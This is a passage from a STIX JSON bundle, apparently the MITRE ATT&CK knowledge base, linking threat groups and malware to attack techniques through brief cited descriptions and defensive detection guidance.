2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b37289c-b118-45f7-98b2-5efe06cbf0b2","type":"relationship","created":"2020-06-02T15:39:14.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. 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(2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.861Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19bede58-549b-4e7d-b206-6045370b9995","type":"relationship","created":"2021-10-01T01:57:31.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021."}],"modified":"2021-10-12T18:18:25.376Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has added batch scripts to the startup folder.(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1269d18-6cc9-45cc-9c99-06f765bea366","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. 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Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.697Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to steal saved passwords from the Internet Explorer, Edge, Firefox, and Chrome browsers.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ac0d84e-76ce-4702-8616-2a2f9b41cfdc","type":"relationship","created":"2021-09-21T14:52:49.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. 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Retrieved September 1, 2021"}],"modified":"2021-09-21T17:11:52.844Z","description":"(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adfeb8d8-1ce1-4abe-9861-21e2b26e8caa","type":"relationship","created":"2020-02-04T12:58:40.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-04T12:58:40.996Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c671056c-f213-4084-9e9e-3361274ceb80","type":"relationship","created":"2020-05-12T18:42:01.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."},{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."}],"modified":"2021-06-21T20:37:17.697Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or [Bazar](https://attack.mitre.org/software/S0534).(Citation: CrowdStrike Grim Spider May 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f150d4-a917-4862-bcee-170be75415cd","type":"relationship","created":"2021-10-11T18:29:51.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.313Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can drop its payload into the Startup directory to ensure it automatically runs when the compromised system is started.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4436ace7-a47d-4d18-afa1-4454432fba66","type":"relationship","created":"2020-01-30T14:24:35.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-30T14:24:35.602Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--409581f2-270d-43ce-8044-34bc09874548","type":"relationship","created":"2020-03-18T22:50:09.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. 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Retrieved December 2, 2020."}],"modified":"2020-12-02T21:18:15.510Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) has used internal nodes on the compromised network for C2 communications.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43815eb8-45cf-4032-8958-d3e73f0a229e","type":"relationship","created":"2020-12-07T20:14:50.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). 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(2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:53.137Z","description":"One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a8f7699-3bcd-4586-b029-f43756681805","type":"relationship","created":"2019-06-04T14:12:42.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ScarCruft May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). 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Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has used various Windows API functions on a victim's machine.(Citation: BiZone Lizar May 2021) ","modified":"2022-04-06T15:42:50.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfa38151-4972-4355-8071-dd36cb1be880","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. 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Retrieved August 7, 2020."}],"modified":"2020-08-10T14:43:04.562Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) can engage in encrypted communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79252e52-f717-4e10-b91f-5fbc622a5cbc","type":"relationship","created":"2021-01-19T19:46:38.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). 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Retrieved January 19, 2021."}],"modified":"2021-01-19T19:46:38.199Z","description":"(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37e99b1d-cd16-43e2-9b5e-595180795671","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor for processes being viewed that may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--213423ab-05cf-4354-9cea-d536686cf21d","type":"relationship","created":"2020-05-06T15:26:38.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2022-03-25T15:47:14.028Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has used HTTP for communications with command and control (C2) servers.(Citation: JPCert PLEAD Downloader June 2018)(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d4e8cb8-c265-449a-b010-f4614135572f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2020-03-19T22:59:05.013Z","description":"[H1N1](https://attack.mitre.org/software/S0132) dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baf8dbad-1cc6-4e3b-84d5-29d4dd2bb3a0","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor executed commands and arguments that may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79852ad8-86ff-4747-97c0-1c7faa5fa69d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.699Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) captures images from the webcam.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c81e49d-53be-4fba-9a07-ec2fe5501267","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.095Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has encrypted documents and malicious executables.(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd45bd64-3793-49e7-82d0-9cdabf417d61","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-06-23T19:56:50.231Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dedfdac6-c76b-4baa-99ca-3f0233141d2d","type":"relationship","created":"2019-09-12T18:04:13.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://vms.drweb.com/virus/?i=4276269","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","source_name":"Fysbis Dr Web Analysis"}],"modified":"2020-03-18T00:18:58.744Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as trusted software rsyncd and dbus-inotifier.(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8801779f-200c-4744-823e-c3405ec9a22e","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82660969-2c24-46a6-a451-1b41240b9ed7","type":"relationship","created":"2021-09-29T22:24:15.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.765Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has enumerated network shares on a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1851d77b-bfdc-4aad-93cb-2e17a187c956","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for the creation of the Office Test Registry key. Collect events related to Registry key creation for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Office Test Sofacy","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13b3c9ee-6d38-4901-8e41-23200d2860f5","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS requests without preceding TGT requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the Ticket being used to move laterally","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fa1a7c8-0dfb-4bd5-a34f-509ba24da5be","type":"relationship","created":"2019-03-29T16:48:43.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"}],"modified":"2019-04-19T19:04:56.044Z","description":"[RawDisk](https://attack.mitre.org/software/S0364) has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.(Citation: Novetta Blockbuster Destructive Malware)","relationship_type":"uses","source_ref":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"}],"modified":"2019-08-16T18:52:50.587Z","description":"A Linux version of [Derusbi](https://attack.mitre.org/software/S0021) checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. [Derusbi](https://attack.mitre.org/software/S0021) also gathers the username of the victim.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7473a1e1-12b5-41b5-ab49-b05a817cdf43","type":"relationship","created":"2021-10-11T15:33:45.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-14T23:25:08.431Z","description":"[P8RAT](https://attack.mitre.org/software/S0626) can send randomly-generated data as part of its C2 communication.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e49358b-43d4-4fc6-8ad0-72882de328b4","created":"2022-04-13T13:19:01.109Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 